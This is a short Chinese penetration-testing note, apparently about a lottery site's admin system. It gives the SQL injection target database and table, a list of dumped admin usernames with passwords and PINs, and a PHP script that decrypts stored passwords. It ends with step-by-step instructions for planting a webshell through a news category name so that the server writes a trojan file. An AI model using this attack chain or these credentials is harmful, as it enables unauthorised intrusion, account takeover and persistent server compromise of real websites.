登录 白背景

https://mp.weixin.qq.com/s/eqb5LlYL9l1rQuaJhTztMQ

后台管理处sql注入

-D dfsql -T caipiao_adminmember

admin facai@88  555888
qq002 123456   123456
qq001 123456   12312
kefu001 123456 888888

解密脚本

<?php  
$password='MDAwMDAwMDAwML6hd86RutB6h6qXbQ';  
function decrypt($data, $key = ''){  
    $key    = md5('');  
    $data   = str_replace(array('-','_'),array('+','/'),$data);  
    $mod4   = strlen($data) % 4;  
    if ($mod4) {  
       $data .= substr('====', $mod4);  
    }  
    $data   = base64_decode($data);  
    $expire = substr($data,0,10);  
    $data   = substr($data,10);  
  
    if($expire > 0 && $expire < time()) {  
        return '';  
    }  
    $x      = 0;  
    $len    = strlen($data);  
    $l      = strlen($key);  
    $char   = $str = '';  
  
    for ($i = 0; $i < $len; $i++) {  
        if ($x == $l) $x = 0;  
        $char .= substr($key, $x, 1);  
        $x++;  
    }  
  
    for ($i = 0; $i < $len; $i++) {  
        if (ord(substr($data, $i, 1))<ord(substr($char, $i, 1))) {  
            $str .= chr((ord(substr($data, $i, 1)) + 256) - ord(substr($char, $i, 1)));  
        }else{  
            $str .= chr(ord(substr($data, $i, 1)) - ord(substr($char, $i, 1)));  
        }  
  }  
    echo base64_decode($str);  
}  
echo decrypt($password);  
?>  

getshell

appHomeControllerNewsController.class.php 这个文件通过这个调用F()函数生 成了/Runtime/Data/catelist.php/catelist.php文件

相当于就是通过在后台资讯栏目中栏目名称写入我们的 webshell,然后再去前台 进行注册,注册好后点击你修改的上级栏目,即可出发的函数,写入木⻢

image-20221004201217942

image-20221004201327437

最后访问 ssRuntime/Data/catelist.php 就会生成 Runtime/Data/a.php 这个木马